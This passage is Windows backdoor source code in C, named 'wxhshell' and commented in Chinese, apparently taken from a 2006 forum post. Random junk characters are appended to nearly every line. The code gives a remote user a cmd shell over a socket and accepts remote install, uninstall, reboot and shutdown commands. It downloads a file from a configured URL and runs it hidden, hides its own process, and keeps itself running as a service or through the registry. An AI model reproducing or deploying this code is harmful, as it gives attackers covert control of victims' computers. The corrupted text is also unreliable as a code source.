  else { S-WD?BF C  
=i  }  
    switch(cmd[0]) { ~Wjm"|c  
  Re-~C[zwT  
  // 帮助 SkBa- *MC  
  case '?': { *T$o" *}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nx`!BNL'V  
    break; ]#P9.c_}  
  } o0^..f  
  // 安装 ,$EM3   
  case 'i': { >[B}eS>  
    if(Install()) ZQ9!k* ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V|KYkEl r1  
    else '; ,DgR;'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ne] |\]  
    break; }GJIM|7^  
    } N ncur]  
  // 卸载 B~QX{  
  case 'r': { EQ'iyXhEe  
    if(Uninstall()) .^j #gE&B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :zdMV6s  
    else !c[(#g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =fG c?PQ  
    break; }UJS*mR  
    } #XR<}OYcL  
  // 显示 wxhshell 所在路径 GY,l&.&  
  case 'p': { ]J+ }WR  
    char svExeFile[MAX_PATH]; YMOy 6C  
    strcpy(svExeFile,"\n\r"); #-dfG.*  
      strcat(svExeFile,ExeFile); JUXIE y^  
        send(wsh,svExeFile,strlen(svExeFile),0); pXf@Y}mH  
    break; uN20sD}  
    } Q1 ?O~ao  
  // 重启 Nl3 x BM%  
  case 'b': { j9Ptd$Uj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,L%\{bp5  
    if(Boot(REBOOT)) ,0%P3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &M(=#pq9  
    else { l:mC'aR  
    closesocket(wsh); PhW< )B]  
    ExitThread(0); 3IQ)%EN  
    } %7%7 W*0d  
    break;  {I+   
    } 6I GUp  
  // 关机 / 1 lIV_Z  
  case 'd': { s `fIeP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u,e'5,`N  
    if(Boot(SHUTDOWN)) {$z)7s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H((! BRl  
    else { L&M6s f$N  
    closesocket(wsh); )k@W 6N  
    ExitThread(0); /Y@^B,6 \  
    } yep`~``_  
    break; DqyJ]}|  
    } )j(13faW|  
  // 获取shell B2t.;uz(,  
  case 's': { 5('_7l  
    CmdShell(wsh); $~vy,^  
    closesocket(wsh); p>4$&-  
    ExitThread(0); P.Pw .[:3  
    break; =KqcWN3k  
  } `RDl k  
  // 退出 CAyV#7[0  
  case 'x': { EM]~yn!+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S'M=P_-7  
    CloseIt(wsh); !c-Ie~GIT  
    break; D|m6gP;P  
    } hV|pH)Nu{  
  // 离开 Bv_C *vW  
  case 'q': { Q<W9<&VZe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }YJ(|z""  
    closesocket(wsh); 3"=% [  
    WSACleanup(); 0jCYOl  
    exit(1); ^{&Vv(~!Q  
    break; H?98^y7  
        } Xr\|U89P  
  } 1;cV [&3  
  } le*mr0a  
uU(G&:@  
  // 提示信息 6OR5zXpk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S6-)N(3|  
} @k:f(c  
  } 9z7^0Ruw  
%^s;{aN*!  
  return; aiVd^(  
} q<` YJ,  
TxAT ))  
// shell模块句柄 &os9K)  
int CmdShell(SOCKET sock) 9 2_F8y*D  
{ # D"TY-$.=  
STARTUPINFO si; <"w;:Zs  
ZeroMemory(&si,sizeof(si)); Y: &?xR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (\m4o   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [.4R ,[U  
PROCESS_INFORMATION ProcessInfo; 4DI.R K9  
char cmdline[]="cmd"; RG/M-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h- .V[]<  
  return 0; 3qOq:ZkQ  
} ?95^&4Oh0  
kG_ K&,;@  
// 自身启动模式 m qgA  
int StartFromService(void) m^cr-'  
{ W5,e;4/hL  
typedef struct T|^rFaA  
{ `<&RZB2  
  DWORD ExitStatus; cPA-EH  
  DWORD PebBaseAddress; Pk/{~!+ $  
  DWORD AffinityMask; NIufL }6\  
  DWORD BasePriority; cF!ygz//  
  ULONG UniqueProcessId; =ic"K6mhq  
  ULONG InheritedFromUniqueProcessId; KrE:ilm#^Y  
}   PROCESS_BASIC_INFORMATION; K  +n  
4cJ7W_ >i6  
PROCNTQSIP NtQueryInformationProcess; Cj31>k1  
?B ; +,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G)5w_^&%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZN>oz@j Y  
GJz d4kj  
  HANDLE             hProcess; Z$!>hiz2  
  PROCESS_BASIC_INFORMATION pbi; B:S/ ?v  
[1Pw2MC<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OAPR wOQ^=  
  if(NULL == hInst ) return 0; (sLFJ a6e  
V`xZ4 i%L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^@?-YWt   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n'R9SnW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >qh8em  
rlG& wX  
  if (!NtQueryInformationProcess) return 0; ~]X4ru5,4  
L,#ij!txS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4mR{\ d  
  if(!hProcess) return 0; 5BKga1Q  
$g&,$7}O_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !G E-5\*  
I;iJa@HWQ  
  CloseHandle(hProcess); SrGX4  
P2_UQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tDj~+lmdN  
if(hProcess==NULL) return 0; ;=\vm"I?  
LWgYGXWT"  
HMODULE hMod; mU.(aL HW  
char procName[255]; \| qr&(PG  
unsigned long cbNeeded; \49LgN@\  
R3+y*< <e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2q V.`d  
5dc24GB>_  
  CloseHandle(hProcess); :SFcnYv0  
UjLZ!-}  
if(strstr(procName,"services")) return 1; // 以服务启动 RbB y8ZVM  
Zp'c>ty=  
  return 0; // 注册表启动 [ySO  
} N&g9z{m7  
VZ"W_U,  
// 主模块 } :U'aa  
int StartWxhshell(LPSTR lpCmdLine) eytd@-7uX  
{ b37F;"G  
  SOCKET wsl; H9'Y` -r  
BOOL val=TRUE; qOaI4JP@  
  int port=0; _  dFZR  
  struct sockaddr_in door; o&45y&  
=#)Zm?[;  
  if(wscfg.ws_autoins) Install(); t\LAotTF/  
rPaUDR4U  
port=atoi(lpCmdLine); s))L^|6  
U~!yGjF  
if(port<=0) port=wscfg.ws_port; %|mRib|<C  
hE.NW  
  WSADATA data; i'Vrx(y3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lGHU{7j\  
yt,xA;g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Br w-"tmx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0I6[`*|SX  
  door.sin_family = AF_INET; CZ2&9Vb9I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S!!i  
  door.sin_port = htons(port); EHpIbj;n  
qMy>: ,)Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vbT"}+^Sh  
closesocket(wsl); -*q:B[d  
return 1; \hGo D  
} ^rF{%1DT  
f#~X4@DH`  
  if(listen(wsl,2) == INVALID_SOCKET) { eu!B ,  
closesocket(wsl); Fkgnc{NI  
return 1; xWkCP2$?P  
} >E*j4gg  
  Wxhshell(wsl); JkT , i_  
  WSACleanup(); VQSwRL3B=  
[I/f(GK  
return 0; 4`Com~`6"  
>KF1]/y<  
} *n9t~t6GHg  
so[i"ZM)  
// 以NT服务方式启动 pfd||Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {}F?eI  
{ .hI3Uv8[  
DWORD   status = 0; z?o1 6o-:  
  DWORD   specificError = 0xfffffff; r$3{1HXc  
O'tVZ!C#J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #i$/qk= N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R7~H}>uaF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E]G#"EV!Y  
  serviceStatus.dwWin32ExitCode     = 0; ?UD2}D[M  
  serviceStatus.dwServiceSpecificExitCode = 0; k-5Enbkr  
  serviceStatus.dwCheckPoint       = 0; 0*?/s\>PS;  
  serviceStatus.dwWaitHint       = 0; EW;R^?Z  
a.P7O!2Lp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }T<[JXh=J  
  if (hServiceStatusHandle==0) return; );4lM%]eb  
r>v_NKS]t  
status = GetLastError(); eq^<5 f  
  if (status!=NO_ERROR) _TF\y@hF*D  
{ "Mt4~vy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W i a%rm  
    serviceStatus.dwCheckPoint       = 0; H.\gLIr  
    serviceStatus.dwWaitHint       = 0; C>%2'S^.b  
    serviceStatus.dwWin32ExitCode     = status; Rw4"co6  
    serviceStatus.dwServiceSpecificExitCode = specificError; u=a5Z4N'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Uo:WyVj|F  
    return; fiDwa ;,  
  } g3B zi6$m  
#vk-zx*v7=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H>8B$fi)$  
  serviceStatus.dwCheckPoint       = 0; 5xJyW`SWz  
  serviceStatus.dwWaitHint       = 0; ` VL`8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +eiM6* /0  
} ^[]G sF  
EL_rh TWw  
// 处理NT服务事件,比如:启动、停止 i <KWFF#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XXuIWIhm  
{ sT| $@$bN  
switch(fdwControl) {XC1B  
{ 3GEI)!  
case SERVICE_CONTROL_STOP: {d`e9^Z:  
  serviceStatus.dwWin32ExitCode = 0; S+c)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~udi=J |  
  serviceStatus.dwCheckPoint   = 0; b"U{@  
  serviceStatus.dwWaitHint     = 0; ')pXQ  
  { unE h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i:ar{ q  
  } :W'Yt9v)  
  return; J23Tst#s  
case SERVICE_CONTROL_PAUSE: >;@ _TAF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bn`1JI@S4  
  break; D&5>Op4U  
case SERVICE_CONTROL_CONTINUE: 1mT3$Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?L=@Zs  
  break; bLMN9wGOgK  
case SERVICE_CONTROL_INTERROGATE: Rv9oK-S  
  break; Uloa]X=Im8  
}; //C3tW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wj2s+L7,  
} $N$ ZJC6(@  
I@ dS/  
// 标准应用程序主函数 nic7RN?F<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ka_]s:>+  
{ gXtyl]K:  
Q+e|;Mj  
// 获取操作系统版本 plL##?<D<  
OsIsNt=GetOsVer(); RS&l68[6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g'G"`)~ 2  
?-^eI!  
  // 从命令行安装 FJ}RT*7_C  
  if(strpbrk(lpCmdLine,"iI")) Install(); sQt]Y&_/@  
b&k !DeE  
  // 下载执行文件 &A=>x  
if(wscfg.ws_downexe) { i7h!,vaK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6FMW}*6<  
  WinExec(wscfg.ws_filenam,SW_HIDE); x!CCSM;q  
} ?yKW^,q+  
c"X`OB  
if(!OsIsNt) { 5mNd5IM  
// 如果时win9x,隐藏进程并且设置为注册表启动 <0,c{e  
HideProc(); E. @n Rj#  
StartWxhshell(lpCmdLine); ;B[*f?y-  
} YVy+1q[  
else C3|(XChqC  
  if(StartFromService()) ;>?NH6B,  
  // 以服务方式启动 ;m/%g{oV  
  StartServiceCtrlDispatcher(DispatchTable); #R&D gt  
else 5&5 x[S8  
  // 普通方式启动 l4c9.'6  
  StartWxhshell(lpCmdLine); ur\v[k=  
Sp+ zP-3  
return 0; ;q:.&dak1  
}
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只看该作者 1 发表于: 2006-10-10
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